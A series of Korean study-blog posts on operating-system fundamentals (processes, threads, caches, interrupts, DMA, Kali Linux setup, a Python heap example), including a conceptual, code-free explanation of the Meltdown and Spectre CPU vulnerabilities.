화면 상단에 터미널 아이콘을 클릭하여 터미널을 연다.

그림7 - 칼리리눅스 터미널 열기

sudo apt update 명령어를 입력하여 관리자 권한으로 설치 가능한 패키지 리스트를 최신화 한다.

upgrade 명령어는 실제 업데이트로 여러 도구들이 업데이트 되면서 기존 프로그램과의 충돌 오류가 있을 가능성이 있으니 지양하도록 한다.

그림8 - 패키지 리스트 최신화

sudo su - 명령어를 입력하면 root 권한으로 전환되며, root 권한으로 전환되면 sudo 명령어를 앞에 입력하지 않아도 된다.

exit 를 입력하면 사용자가 다시 kali 로 전환된다.

id 명령어 입력시 현재 로그인한 사용자 정보를 확인할 수 있다.

그림9 - root 권한으로 전환

그림10 - id 명령어로 현재 로그인한 사용자 정보 확인

ifconfig 또는 ip addr 명령어를 입력하면 칼리리눅스의 IP 주소 및 네트워크 구성 정보를 확인할 수 있다.

네트워크가 NAT 로 구성되어 있다면 192.168.0.0/16 대역으로 구성되어 있는 것을 확인해야 한다.

그림11 - 네트워크 주소 확인

네트워크 테스트를 위해 8.8.8.8(구글 DNS 서버)로 ping 명령어를 사용한다.

정상적으로 ICMP 패킷을 주고받는것을 확인할 수 있다.

ctrl + c 를 눌러 중단한다.

그림12 - ping 8.8.8.8

프로세스 생성과 복사

Security Engineer — Sun, 25 Aug 2024 00:12:31 +0900

프로세스 관련 함수

Win32 API	UNIX
CreateProcess();	fork(); exec();
ExitProcess();	exit();
WaitForSingleObject();	wait();

새로운 프로세스 생성

OS는 프로세스 마다 가상메모리 공간을 할당한다.
새로운 프로세스가 정상 작동하기 위해 가상 메모리 공간이 준비되어야 한다.
Process + PCB + VMS(가상 메모리 공간)
새로운 프로세스 생성 시 부모 프로세스(기존)와 자식 프로세스(새로운)로 관계가 형성된다.

fork와 exec의 차이

fork(): 새로운 프로세스를 위해 메모리를 할당한다, 기존 프로세스를 복사한다.
exec(): 새로운 프로세스를 위해 메모리를 할당 하지 않고, exec()에 의해 호출된 프로세스만 메모리에 남게된다.
fork()는 프로세스가 하나 더 생기는 것이다. → 새로운 PID가 생성됨. (새로운 세입자를 위해 새 집을 구매)
exec()는 새로운 프로세스에 의해 기존 프로세스가 대체된다. → 기존 PID 사용 (기존 세입자를 새로운 세입자가 대체)
fork()는 소요되는 리소스가 많아 비효율적이며, exec()은 기존꺼를 그대로 사용하여 대체하므로 효율적이다.

참고

https://www.inflearn.com/course/%EA%B3%B0%EC%B1%85-%EC%89%BD%EA%B2%8C-%EB%B0%B0%EC%9A%B0%EB%8A%94-%EC%9A%B4%EC%98%81%EC%B2%B4%EC%A0%9C

https://woochan-autobiography.tistory.com/207

프로세스 휴식, 보류 상태와 문맥(Context)

Security Engineer — Sat, 24 Aug 2024 00:12:24 +0900

프로세스의 상태

그림1 - 프로세스의 상태1

프로세스의 상태는 전이한다.
생성 → 준비 → 실행 → 완료
생성 → 준비 → 실행 → 대기 → 준비 → 실행 → 완료

Ready Queue (준비 상태 큐)

그림2 - 준비 상태 큐

준비 상태의 프로세스(스레드)를 Queue에 가지고 있는다.
OS가 T1, T2 등의 프로세스(스레드)를 디스패치하여 끄집어내서 실행
프로세스가 I/O 요청 시 Device에서 응답 받을 때 까지 기다린다. = 대기 상태 = Blocking I/O
요청한 프로세스의 실행상태가 유지됨 = 기다리지 않고 비동기적으로 한다. = Non Blocking I/O

프로세스의 Sleep(휴식) 과 Suspend(보류)

그림3 - 보류 상태를 포함한 프로세스의 상태

Sleep(휴식) → 자발적 이탈 ( '나 좀 자러 갈게' )
Suspend(보류) → 외부 요인에 의해 의도치 않게 이탈 ( '너 좀 비켜봐' )
외부 요인에 의해 이탈하는 경우 → 가상 메모리에서 Swap 할 때 (RAM에서 HDD로 메모리 이동), 프로그램이 죽었을 때
준비 상태의 프로세스(스레드)가 Sleep 또는 Suspend 상태가 되면, Ready Queue의 대기열에서 이탈하게 된다.
Sleep의 경우 함수에서 ms 단위로 실행한다. → 10ms + @ 만큼 쉰다.
@는 10ms 이후 Ready Queue에 재진입하여 앞에 있는 프로세스의 연산이 완료되는 시간(랜덤)
Sleep 함수의 특징: 자기의 의지로 Ready Queue 대기열에서 이탈 후 정해진 시간 이후에 재진입 후 랜덤 시간 이후에 실행됨
Suspend 위와 동일하다.

문맥(Context) 교환(Switch)

그림4 - 문맥 교환(Context Switch) 과정

프로세스의 상태 = 흐름 = 문맥
P1이라는 흐름이 이어지다가, P2로 바뀐다. → 문맥 교환(Context Switch)
P1의 상태를 PCB 1에 저장 = P1의 문맥을 이어가기 위한 상태 저장
실행 = 연산 → CPU가 한다.
CPU가 연산할 때 프로세스의 상태(문맥)가 변화한다. → Register에 상태 변화를 기록한다.

참고

https://www.inflearn.com/course/%EA%B3%B0%EC%B1%85-%EC%89%BD%EA%B2%8C-%EB%B0%B0%EC%9A%B0%EB%8A%94-%EC%9A%B4%EC%98%81%EC%B2%B4%EC%A0%9C

프로세스와 스레드

Security Engineer — Fri, 23 Aug 2024 00:12:23 +0900

Process와 Thread의 차이

프로세스(Process) = 관리의 단위 = 연산할 것
프로세스 = 파일로 되어 있는 프로그램의 일부가 메모리에 적재된다. (실행되고 있는 프로그램)
프로세스(작업)는 최소 1개의 스레드가 존재한다.
스레드(Thread) = 1개 프로세스 내 개별화된 코드의 실행 흐름
멀티 스레딩(Multi Threading) = 1개 프로세스 내 개별화된 여러 개의 실행 흐름

가상메모리에 할당된 공간

OS는 Virtual Memory를 프로세스에 할당한다.
프로세스에 속한 모든 스레드는 프로세스의 Virtual Memory로 공간이 제약된다.
스레드는 실질적 연산의 주체
멀티 스레딩 → 동시성 + 동기화 이슈
프로세스 = 1 가구
스레드 = 1 세대원
Vurtual Memory = 1 가구가 존재하는 공간(집)
프로세스에 할당된 Virtual Memory = 집
스레드마다 Stack 구조로 관리되는 메모리 공간이 있다.
Thread Local Storage = Stack, 각자 쓰는 공간(각자의 방)
Heap = 거실, 부엌 등 공용 공간, Process 전체가 사용
스레드마다 각자 고유한 TLS(Thread Local Storage)를 가지고 있다 = 각자 자기 방을 가진다.
프로세스에게 CPU 자원 할당 = Linux 계열
스레드에게 CPU 자원 할당 = Windows 계열

컴퓨터의 자원

Computer = CPU + RAM + HDD
가상메모리(Virtual Memory) = RAM + HDD
프로세스 단위로 가상메모리가 할당된다.
프로세스에 스레드가 속해있으며, 프로세스에게 주어진 메모리 공간을 사용한다.
PCB(Process Control Block) = OS가 프로세스 관리에 필요한 정보를 저장한 곳
TCB(Thread Control Block) = OS가 스레드 관리에 필요한 정보를 저장한 곳
CPU의 Core = 연산의 주체
CPU Core가 8개가 있다면, Process 2000개는 CPU 자원을 분할해서 사용해야 한다. = 시분할

프로그램이 프로세스가 되는 과정

그림1 - 프로그램이 메모리에 올라와 프로세스가 되는 과정

PID = Process ID (정수)
가상 메모리 영역 = Stack, Heap, Code(text)
MS Word = HDD에 설치
설치된 프로그램을 RAM 메모리에 올린다. = 인스턴스 화 = 프로그램 실행 = 프로세스

프로세스의 Life Cycle

그림2 - 프로세스의 상태

프로세스의 상태는 전이한다.
프로세스의 Life Cycle = 생성 → 준비 → 실행 → 완료
가끔 대기 상태가 추가된 Life Cycle이 있다.
프로세스가 I/O 요청 시 Device에서 응답 받을 때 까지 기다린다. = 대기 상태 = Blocking I/O
요청한 프로세스의 실행상태가 유지됨 = 기다리지 않고 비동기적으로 한다. = Non Blocking I/O

Ready Queue (준비 상태 큐)

그림3 - 준비 상태 큐

OS에서 프로세스를 관리할 때 Queue를 사용한다. (Queue 관련 글은 여기를 참고)
준비 상태의 프로세스(스레드)를 Queue에 가지고 있는다.
디스패치(Dispatch) = 보내다, 발송하다 → 보낼 대상을 선정 후 꺼낸다.
Queue에 실행해야 할 프로세스(스레드)가 나열되어 있으며, OS는 앞부분부터 꺼낸다.
CPU Core의 개수만큼 한번에 꺼낸다. → 8개면, 한번에 8개 꺼낸다.
디스패치하게 되면 자원이 할당되고 실행으로 이뤄진다.

참고

https://www.inflearn.com/course/%EA%B3%B0%EC%B1%85-%EC%89%BD%EA%B2%8C-%EB%B0%B0%EC%9A%B0%EB%8A%94-%EC%9A%B4%EC%98%81%EC%B2%B4%EC%A0%9C

https://youtu.be/x-Lp-h_pf9Q

CPU 예측이 가져오는 문제점(멜트다운, 스펙터)

Security Engineer — Thu, 22 Aug 2024 00:12:49 +0900

CPU가 예측해서 발생한 심각한 문제(CPU 게이트)

CPU = 교수, Cache Memory = 조교, RAM = 도서관
조교는 교수가 다음에 사용할 책을 예상하여 도서관에서 가져온다.
반대의 관점 → 조교가 시키지도 않은 일을 하여 교수의 행동이 예측됨.

CPU 정보 처리 방식

CPU 안에는 레지스터가 있다. CPU는 일을 할 때 임시로 숫자를 레지스터에 적어둔다.
각종 프로그램들은 RAM에 자신이 필요한 정보를 적어둔다.
캐시는 RAM에 비해서 매우 빠르게 정보를 넣었다 뺐다 할 수 있다.

멜트다운 간단 설명

유저 프로그램이 운영체제 권한 영역을 훔쳐보는 취약점

100번 방에서 숫자를 꺼낸다.
100번 방에서 꺼낸 숫자를 레지스터 al에 임시로 저장한다.
al에 저장된 숫자와 1000을 더한다. (여기에서는 1097로 가정한다.)
3번에서 더한 결과에 해당하는 RAM의 숫자를 꺼낸다. (즉, 1097번 방의 자료를 꺼낸다.)
꺼낸 숫자를 해커에게 전달한다. → 오류 발생으로 확인 불가
해커는 RAM의 1000번 방부터 하나씩 방을 검색한다. (1000번 이후의 모든 방들은 캐시에 없으므로 램에서 읽어오기 때문에 속도가 느리다.)
1097번 방의 정보는 캐시에 있으므로(4번에서 자료를 꺼냈으므로) 읽는 데 시간이 적게 걸린다.
해커는 1097번 방과 다른 방들의 정보 읽는 시간이 다른 것을 확인하여 al 값이 97이라는 것을 알 수 있다. → 1097 - 1000 = 97

그림1 - 멜트다운 간단 설명

해커가 100번 방의 숫자를 읽으라고 명령 = Kernel만 읽을 수 있으므로(System Call), User Mode Application Process는 읽을 수 없어 오류가 발생한다. (권한 오류 발생 - 할 수 없는 연산 시도)
권한 오류가 발생하지만, 사용자에게 보여지지 않을 뿐 행동은 실제로 일어난다.
CPU는 100번 방의 숫자를 읽어서 캐싱을 하고, 레지스터 al에 97이 저장된다.
해커는 레지스터 al에 저장된 값에 +1000이라는 연산을 시도한다. → al 값 + 1000 = 1097
해커는 RAM의 1097번 방에서 정보를 가져온다. → 권한 오류 발생, 값은 확인 불가하지만 행동은 발생
해커는 RAM 1000번 방부터 하나씩 정보를 읽어온다. (1000번 방 이후의 모든 방들은 캐시가 없으므로 읽는 속도가 느리다.)
RAM 1097번 방의 정보를 읽으면 다른 방보다 속도가 빠르다. (1097번 방에서 정보를 가져왔기 때문에 캐시가 있다.)
RAM 1097번 방의 정보를 읽을 때 시간과 다른 방에서 정보를 읽을 때의 시간을 비교하여 1097번이 CPU가 실제로 정보를 읽었다는 것을 알게 된다.
해커는 1097 - 1000 을 연산하여 97이라는 값을 확인한다. ( 'a' 값이 저장된 것을 확인 )
해커는 메모리 값을 직접 읽는 것은 불가하므로, CPU의 al 레지스터에 메모리 값을 넣도록 하여 값을 유추한다.
'CPU가 일을 다 하고 보여주지만 않으니, CPU가 일한 흔적을 찾아 100번 방의 숫자를 알아내자'라는 것이 멜트다운 버그의 핵심 아이디어이다.
RAM 읽는 속도를 비교하여 CPU에 저장된 al 값을 추측하는 것이 멜트다운 취약점의 핵심이다.

스펙터 간단 설명

그림2 - 스펙터 간단 설명

유저 프로그램이 다른 유저 프로그램 메모리를 훔쳐보는 취약점
궁예의 '관심법' 과 유사하다.
가상환경 → 1개의 H/W에 여러 VM이 작동할 가능성이 매우 높다.
가상환경에서는 VM 자체의 CPU가 연산하는 것이 아니고, 실제 H/W의 CPU가 연산한다.
각각의 VM이 연산하면 실제 1개 H/W의 CPU의 캐시 메모리에 RAM에서 읽은 정보가 저장된다.
VM-2가 특정 프로그램을 실행하여 RAM에서 정보를 읽어서 실제 H/W의 캐시 메모리에 정보가 저장된다.
VM-0도 프로그램의 실행을 통해 연산한다. (캐싱이 일어나도록 RAM에서 정보를 지속적으로 읽어온다.)
VM-0과 VM-2의 메모리 정보가 동일한 캐시 메모리에 저장된다.
이 과정에서 VM-0 이 VM-2의 메모리의 정보를 읽어올 수 있다. (실제 동일한 H/W의 캐시 메모리에 존재하므로)
AWS의 VM에서 나와 동일한 H/W에 VM이 올라와있는 누군가의 인증서를 확인할 수 있다.

스펙터 간단 비유

같은 학교에 2명의 교수가 있는데 A 교수는 연구를 열심히 하는 교수이며, B 교수는 연구를 하지 않는 교수이다.
B교수는 A교수의 연구 주제가 궁금하여 A교수의 조교가 어떤 책을 도서관에서 빌려오는지 확인한다.
B교수는 A교수의 조교가 빌려온 책을 확인하여 A교수의 연구 주제를 확인할 수 있다.

참고

https://www.inflearn.com/course/%EA%B3%B0%EC%B1%85-%EC%89%BD%EA%B2%8C-%EB%B0%B0%EC%9A%B0%EB%8A%94-%EC%9A%B4%EC%98%81%EC%B2%B4%EC%A0%9C

https://namu.wiki/w/CPU%20%EA%B2%8C%EC%9D%B4%ED%8A%B8

CPU와 캐시 메모리

Security Engineer — Wed, 21 Aug 2024 00:12:15 +0900

기억장치 종류와 역할

그림1 - 컴퓨터의 기억장치 종류

CPU = 연산 장치, Core(코어)가 연산을 한다.
CPU 연산 속도 ↑ = 처리량 ↑ = 성능 ↑
클럭 속도 ↑ = Scale Up, 코어의 개수 ↑ = Scale Out,
RAM = 연산을 하는 데이터 저장
RAM은 CPU에 비해 속도가 느리므로 속도 차이를 극복하기 위해 중간에 Cache memory를 사용한다.
CPU가 연산을 하면서 Cache memory에 RAM에서 가져올 다음 정보를 예측하여 복사해온다.
CPU: 교수, Cache memory: 조교, RAM: 도서관 → 조교는 교수가 다음에 사용할 책을 예상하여 도서관에서 가져온다.

CPU도 당신처럼 예측하고 미리 움직인다

그림2 - CPU가 연산 시 데이터 요청 과정

코어가 명령 + 데이터를 L1 캐시에서 가져온다.
예측은 캐시 메모리에서 발생한다.
0에서 99까지 숫자를 세는 연산을 하는 경우, 0,1,2, 순서로 연산하다 보면 캐시메모리가 RAM에서 나머지 97개를 예측하고 미리 데이터를 가져다 놓는다.
L1, L2, L3를 나눈 이유는 데이터 양으로 인한 차이때문에 나누었다.
데이터 양 = L1 < L2 < L3
L1 = 명령과 데이터가 구분되어 있음, L2 = 명령과 데이터가 섞여있음, L3 = 각 코어에 보낼 데이터가 전부 있다.
예측이 항상 정확하지는 않다. (90% 적중률)
Cache Hit → 예측이 맞음, Cache Miss → 예측이 빗나감, 예측이 빗나가면 RAM에서 직접 정보를 가져온다.

CPU가 연산 시 데이터 요청 과정

CPU가 캐시 메모리에 데이터 요청함 (RAM 메모리 주소 00에 있는 값을 가져오려하는데 혹시 있니?)
캐시 메모리는 예측한 데이터를 RAM에서 가져옴, 그 데이터를 CPU에게 준다.
L1 캐시에 데이터 없는 경우 L2 캐시에서 확인, L2 캐시에도 없는 경우 L3에서 확인한다.
L1, L2, L3 캐시 메모리에 데이터가 없는 경우 RAM에서 직접 가져온다.

CPU vs GPU 그리고 RAM

CPU → 코어 8 ~ 16개 = 직렬 구조(순차적 연산) = 복잡한 데이터 처리
GPU → 코어 4000 ~ 10000개 = 병렬 연산 = 인공지능 연산
메모리에서 연산 기능까지? = 차세대 반도체 PIM → 전처리
내일 요리(감자튀김)를 보고 재료(감자)를 미리 요리에 맞게 손질 → 전처리

참고

https://www.inflearn.com/course/%EA%B3%B0%EC%B1%85-%EC%89%BD%EA%B2%8C-%EB%B0%B0%EC%9A%B0%EB%8A%94-%EC%9A%B4%EC%98%81%EC%B2%B4%EC%A0%9C

DMA와 고성능 소켓

Security Engineer — Tue, 20 Aug 2024 00:12:24 +0900

DMA 정보 전달 방식

기존 정보 전달 방식 = CPU → RAM 영역 1 → RAM 영역 2 → Device 영역
DMA(Direct Memory Access) = 약속된 곳에 Direct로 데이터를 Write → NIC에서 사용
DMA 사용한 정보 전달 방식 = CPU → Device 영역

네트워크 상에서 정보 통신

그림1- 네트워크 상에서 정보 통신

어떤 파일이 있고 그 파일은 커널의 구성요소를 추상화 한다. → 인터페이스
그 파일에는 I/O Buffer가 있다.
각 영역에는 I/O Buffer가 존재, I/O Buffer는 일종의 데이터 저장소다. → RAM 메모리 일부
TCP/IP 네트워크 통신에서 파일은 Socket이 된다.
파일에 대해 Write 한다. = 소켓은 Send 한다.
NIC은 DMA를 지원한다.
DMA 사용 시 그림1과 같은 여러 단계를 거치지 않고 RAM에게 Direct로 정보를 전달한다.
CPU가 RAM을 사용하는데, RAM 영역 일부를 NIC에게 할당하여 사용하게 한다.
NIC에서 정보 전달 시, 여러 영역을 거치지 않아도 Direct로 RAM에게 정보를 전달한다. → 성능 향상
IOCP 이용 시 성능 향상 → 운영체제가 I/O Buffer에 Lock을 걸어서(Kernel이 찜한다.) 정보를 Direct로 전달한다.

결론

DMA는 여러 단계를 거칠 필요 없이 데이터를 Direct로 전달해주는 역할을 한다.

참고

https://www.inflearn.com/course/%EA%B3%B0%EC%B1%85-%EC%89%BD%EA%B2%8C-%EB%B0%B0%EC%9A%B0%EB%8A%94-%EC%9A%B4%EC%98%81%EC%B2%B4%EC%A0%9C

인터럽트와 DirectX

Security Engineer — Mon, 19 Aug 2024 00:12:03 +0900

인터럽트란?

사전적 의미로는 '끼어들다', '중단시키다' 정도의 의미를 가진 말로 프로그램을 실행하는 도중에 예기치 않은 상황이 발생할 경우 현재 실행중인 작업을 중단하고 발생된 상황을 처리한 후 다시 실행중인 작업으로 복귀하는 것을 말한다.

인터럽트의 종류

인터럽트의 종류는 외부 인터럽트, 내부 인터럽트, 소프트웨어 인터럽트로 나뉠 수 있다.

외부 인터럽트

전원 이상 인터럽트(Power fall interrupt): 말 그대로 정전, 파워 이상 등
기계 착오 인터럽트(Machine check Interrupt): CPU의 기능적인 오류
외부 신호 인터럽트(External Interrupt)

- 타이머에 의한 인터럽트: Preemptive 개념을 생각하면 된다. 자원이 할당된 시간이 다 끝난 경우

- 키보드로 인터럽트 키를 누른 경우: 대표적으로 Control + Alt + Delete (전원 끄기, 작업 관리자)

- 외부장치로부터 인터럽트 요청이 있는 경우: I/O 인터럽트 아님!! 다른 개념이다.

입출력 인터럽트(I/O Interrupt)

- 입출력 장치가 데이터 전송을 요구하거나 전송이 끝나 다음 동작이 수행되어야 할 경우

- 입출력 데이터에 이상이 있는 경우

- CPU가 메모리 매니저(입출력 관리자)를 통해 RAM을 간접적으로 통제할 때 발생 (과거에는 CPU가 RAM을 직접 통제하였지만, 현재는 메모리 매니저를 통해 간접 통제한다.)

그림1 - CPU의 RAM 통제 방식

내부 인터럽트

잘못된 명령이나 잘못된 데이터를 사용할때 발생하여 Trap이라 부른다.
프로그램 검사 인터럽트(Program check interrupt)

- Division by zero → 0으로 나누기

- Overflow / Underflow

- 기타 Exception

소프트웨어적인 내용이나 분류상 인터럽트가 아니다!

소프트웨어 인터럽트(SVC: SuperVisor Call)

사용자가 프로그램을 실행시키거나 감시프로그램(Supervisor)을 호출하는 동작을 수행하는 경우
소프트웨어 이용중 다른 프로세스를 실행시키면 시분할 처리를 위해 자원 할당 등의 동작이 수행된다.

인터럽트 동작 순서

인터럽트 요청
프로그램 실행 중단: 현재 실행중이던 Micro operation 까지 수행한다. → CPU 연산 중단(일시 정지)
현재의 프로그램 상태 보전: PCB(Process Control Block), PC(Program Counter) 등 → 현재 상태 백업
인터럽트 처리루틴 실행: 인터럽트를 요청한 장치를 식별한다.
인터럽트 서비스 루틴(ISR) 실행: 인터럽트 원인을 파악하고 실질적인 작업을 수행한다. 처리기 레지스터 상태를 보존한다. 서비스 루틴 수행 중 우선순위가 더 높은 인터럽트가 발생하면 또 재귀적으로 1~5를 수행한다.
상태복구: 인터럽트 발생 시 저장해둔 PC(Program Counter)를 다시 복구한다.
중단된 프로그램 실행 재개: PC의 값을 이용하여 이전에 수행중이던 프로그램을 재개한다.

인터럽트 우선순위

여러 장치에서 인터럽트가 동시에 발생하거나 인터럽트 서비스 루틴 수행 중 인터럽트가 발생했을 경우 우선순위를 따져서 처리한다.

전원 이상(Power fall) > 기계 착오(Machine Check) > 외부 신호(External) > 입출력(I/O) > 명령어 잘못 > 프로그램 검사(Program Check) > SVC(SuperVisor call)

일반적으로 하드웨어 인터럽트가 소프트웨어 인터럽트보다 우선순위가 높고 내부 인터럽트 보다 외부 인터럽트가 우선 순위가 높다. → 하드웨어 > 소프트웨어, 외부 > 내부

인터럽트가 발생하면?

하던 일을 멈춘다.

메인보드와 컴퓨터 성능의 상관관계

그림2 - 메인보드

컴퓨터 사용을 위해 CPU, RAM 및 기타 부품들은 메모리 매니저가 포함된 Mainboard(메인보드)에 조립한다.
CPU와 RAM의 성능이 우수해도 메인보드 성능이 떨어지면, 메모리 매니저 성능도 떨어지기 때문에 CPU와 RAM의 성능이 100% 발휘되지 못한다. → CPU와 RAM의 100% 성능을 위해서는 메모리 매니저 칩의 성능이 중요하다.
메모리 매니저는 과거에 브릿지 칩셋으로 불렸다.
좋은 메인보드는 브릿지 칩셋의 성능이 좋다. → 고성능 CPU 사용 시 100% 성능 출력
메인보드에 CPU 성능의 의존성이 생기게 된다.

노스브릿지와 사우스 브릿지

그림3 - 노스브릿지와 사우스브릿지

브릿지 칩셋의 역할 → I/O 매니지먼트
노스브릿지 → RAM 및 PCI Express의 I/O를 통제
사우스브릿지 → USB 등 주변기기 I/O 통제 (상대적으로 느린 애들)
추후 인텔에서 RAM까지 통제하는 기능의 CPU를 제작하게 된다. → 노스브릿지의 일부 기능을 CPU가 가져감

Hello World 출력(1)

그림4 - Hello World 출력 과정

Hello World 출력을 위해 API를 호출한다. → printf( ) 함수 사용
OS수준의 화면처리 관련 Video 영역에 해당되는 구성요소 → System Call 수준에서 write( ) 한다.
RAM에 Hello World 가 들어간다. → 인터럽트 발생
그래픽 카드에서 RAM에 들어있는 정보를 가져온다.
모니터에 Hello World 출력
그래픽 카드에서 RAM에게 종료 신호를 보낸다. → 인터럽트 발생

Hello World 출력(2)

그림5 - 고성능 장치의 Hello World 출력 과정

Hello World 출력을 위해 API를 호출한다. → printf( ) 함수 사용
System Call 수준에서 write( ) 한다. → Driver에게 정보 이동 및 모니터 출력 부탁함
Driver에서 바로 반환한다, 반환하는 동안에 모니터에 Hello World 출력함

성능이 좋은 주변기기 사용 시 CPU 혼자 모든 일을 처리하지 않게되며, 컴퓨터 성능이 좋아지게 된다.

Windows XP 모니터 출력 과정

그림6 - Windows XP 모니터 출력 과정

Widows XP에서 약 6단계를 거쳐 모니터로 출력한다.

API Call
GDI 엔진 System Call
Driver 제어
데이터가 장치(Device)로 이동
반환
종료

장점

- 운영체제가 추상화된 API를 제공하고, 프로그램들은 API에 맞추면 화면출력을 직접 할 필요가 없어 장치제어를 하지 않아도 되는 장점이 존재한다.

단점

- 단계가 복잡하다. (인터럽트 다수 발생) → 성능 저하

고성능을 필요하는 프로그램(게임) 실행을 위한 DirectX 등장

그림7 - 게임 실행을 위한 DirectX 구동 과정

고성능을 필요로 하는 프로그램(게임) 실행에는 다음과 같이 많은 리소스가 소요된다.

모니터 화면 정보 출력 ↑
그래픽 연산 ↑
데이터 양 ↑

DirectX 란?

DirectX는 멀티미디어, 특히 게임 프로그래밍에서 마이크로소프트 플랫폼에서 작업을 위한 API의 집합이다.

게임 실행 시 GDI 엔진을 거치지 않고 DirectX를 통해 Driver와 바로 통신한다.

Kernel을 직접 건널 수 있도록 API가 마치 System Call을 유저 인터페이스에서 직접 호출할 수 있게 해준다.
그래픽 엔진 부분의 I/O 성능을 극단적으로 끌어올릴수 있는 인터페이스이다.
인터럽트가 감소하여 대기시간이 줄어들어 성능이 좋아진다.

DirectX를 사용함으로써 데이터 이동도 한번에 가능, RAM을 Direct로 공유

DMA(Direct Memory Access)
I/O에 의한(입출력 과정에서의) 지연이 감소 → 성능 극대화

참고

https://www.inflearn.com/course/%EA%B3%B0%EC%B1%85-%EC%89%BD%EA%B2%8C-%EB%B0%B0%EC%9A%B0%EB%8A%94-%EC%9A%B4%EC%98%81%EC%B2%B4%EC%A0%9C

https://raisonde.tistory.com/entry/%EC%9D%B8%ED%84%B0%EB%9F%BD%ED%8A%B8Interrupt%EC%9D%98-%EA%B0%9C%EB%85%90%EA%B3%BC-%EC%A2%85%EB%A5%98

컴퓨터의 구조 (H/W, Kernel mode, User mode)

Security Engineer — Sun, 18 Aug 2024 00:12:38 +0900

컴퓨터는 3층집으로 되어 있다.

그림1- 컴퓨터의 구조

컴퓨터는 3개 계층으로 구성되어 있다. → H/W, S/W(Kernel, User)
H/W = Physical
S/W = Logical ≒ Virtual
CPU 64bit, OS 64bit = 64bit Platform
운영체제(OS)는 소프트웨어다. → MS Word와 같다.
OS는 위로는 Application을 서포트한다. (잘 작동하도록 도와줌)
OS는 밑으로는 하드웨어를 제어/관리 한다.
Interrupt = 방해(알람), 컴퓨터와 주변기기가 통신(I/O)을 할 때 마다 Interrupt가 발생한다.
I/O(입출력) = Read(읽기), Write(쓰기)

C언어 printf 함수 사용하여 Hello World 출력 시 순서 (OS 제어의 순서)

printf 함수를 이용해서 API를 Call 한다.
API 내부에서 장치를 추상화한 파일(인터페이스)을 통해서 정보가 밑으로 내려간다.
User mode에서 Kernel mode로 진입할 때 새로운 코드가 실행된다. → System Call (진입점에 있는 코드)
구성요소가 작동하고 System Call이 이루어지면서 Device Driver를 제어하기 시작
Device Driver에서 Interrupt를 요청 → Interrupt Request(IRQ), 고유 번호가 있다.
Interrupt가 발생하면서 CPU와 Device가 통신을 하게 된다. → Hello World 전달
Device(Video card)에 변화가 생기면서 Device에 연결된 모니터에 Hello World가 렌더링된다. (출력 끝)
Hello World 전달된 후, Device에서 Interrupt가 발생하면서 Driver로 신호가 간다. (종료 신호)
Device Driver가 구성요소에 System Call 한 내용이 종료되었다는 것을 전달한다.
Read할 것이 있으면 추가로 Read 진행, 없으면 종료. (함수 리턴)

위 통신 과정에서 프로세스의 상태에 따라서 I/O 방식의 차이가 있다.

Blocking I/O → API를 호출한 프로세스의 상태가 Wait 인 경우

Non-Blocking I/O → API를 호출한 프로세스의 상태가 Wait가 아닌 경우 (다른 일을 하고 있음)

결론

컴퓨터는 3층집이다. → H/W, S/W(Kernel, User)
Interrupt는 컴퓨터와 주변기기가 통신할 때 발생한다.
Interrupt를 요청 = IRQ(Interrupt Request)는 고유번호가 있다. → Device 마다 다르다.
printf = API, API는 Kernel에서 실질적인 동작이 수행되도록(입출력이 발생하도록) 역할을 한다. → 이때 수행되는 함수를 System Call 이라 한다.

※ IRQ 확인 방법: Window + R → msinfo32 검색 → 하드웨어 리소스 → IRQ

참고

https://www.inflearn.com/course/%EA%B3%B0%EC%B1%85-%EC%89%BD%EA%B2%8C-%EB%B0%B0%EC%9A%B0%EB%8A%94-%EC%9A%B4%EC%98%81%EC%B2%B4%EC%A0%9C

비선형 자료구조 2진 트리

Security Engineer — Sat, 17 Aug 2024 00:12:02 +0900

2진 트리(Heap)

그림1 - 2진 트리

자료당 두 개의 위치정보(링크)를 이용해 셋을 하나로 묶는다.
맨 꼭대기를 기준으로 왼쪽에는 작은 숫자, 오른쪽에는 큰 숫자 카드가 있다고 가정한다.
생각해볼 문제: 여기에 5번이 있는지 알고 싶다 몇 번 비교하면 찾을 수 있을까? → 3회
2진 트리 = Heap(힙) → 정보를 빠르게 나열하기가 굉장히 좋다.

파이썬 코드로 Heap 구현하기

Heap(힙)은 최대/최소값을 찾는데 최적화된 자료구조
힙은 기본적으로 완전 이진 트리 = 무조건 왼쪽 자식 노드부터 데이터 삽입
힙은 데이터의 중복을 허용
push → heappush (값 넣기)
pop → heappop (값 빼기)

최대 힙(Max Heap)

그림2 - 최대 힙

최대 힙은 루트 노드가 가장 큰 값을 가지고, 부모 노드가 항상 자식 노드보다 값이 크거나 같다.

최소 힙(Min Heap)

그림3 - 최소 힙

최소 힙은 루트 노드가 가장 작은 값을 가지고, 부모 노드가 항상 자식 노드보다 값이 작거나 같다.
파이썬에서는 최소 힙이 기본 힙이다.

< 입력>

import heapq as h   # heapq 모듈 불러오고 h로 사용
tree = []           # tree 변수에 빈 리스트 대입
h.heappush(tree,2)  # tree에 heappush로 2 추가
h.heappush(tree,4)  # tree에 heappush로 4 추가
h.heappush(tree,5)  # tree에 heappush로 5 추가
h.heappush(tree,8)  # tree에 heappush로 8 추가
h.heappush(tree,7)  # tree에 heappush로 7 추가
h.heappush(tree,6)  # tree에 heappush로 6 추가
print(tree)         # tree 출력
h.heappush(tree,1)  # tree에 heappush로 1 추가
print(tree)         # tree 출력
h.heappop(tree)     # tree에 heappop으로 값 빼기
print(tree)         # tree 출력

< 출력 >

[2, 4, 5, 8, 7, 6]
[1, 4, 2, 8, 7, 6, 5]
[2, 4, 5, 8, 7, 6]

힙 삽입

1) 1을 최소 힙([2,4,5,8,7,6])에 삽입 시, 힙은 완전 이진 트리이므로 삽입 시에도 이를 유지해 완전 이진 트리를 만족하는 자리에 1 값이 삽입된다.

2) 1은 값이 5인 부모노드보다 값이 작으므로 최소 힙의 성질을 만족하기 위해 부모 노드와 자리를 바꾼다.

3) 1은 값이 2인 부모 노드보다 값이 작으므로 최소 힙의 성질을 만족하기 위해 부모 노드와 자리를 바꾼다.

힙 삭제

최소 힙에서의 삭제는 값이 제일 작은 노드 = 루트 노드의 삭제를 의미한다.

1) 1 값을 가진 노드를 삭제한다.

2) 루트 노드가 비게 되어, 이를 마지막 노드가 채운다.

3) 자식 노드 값이 더 작으므로 값을 교환해주기 위해 더 작은 값을 구한다. 2가 4보다 더 작으므로 2의 값을 가진 노드와 루트 노드의 자리를 바꾼다.

4) 최소 힙을 만족해 삭제가 종료된다.

참고

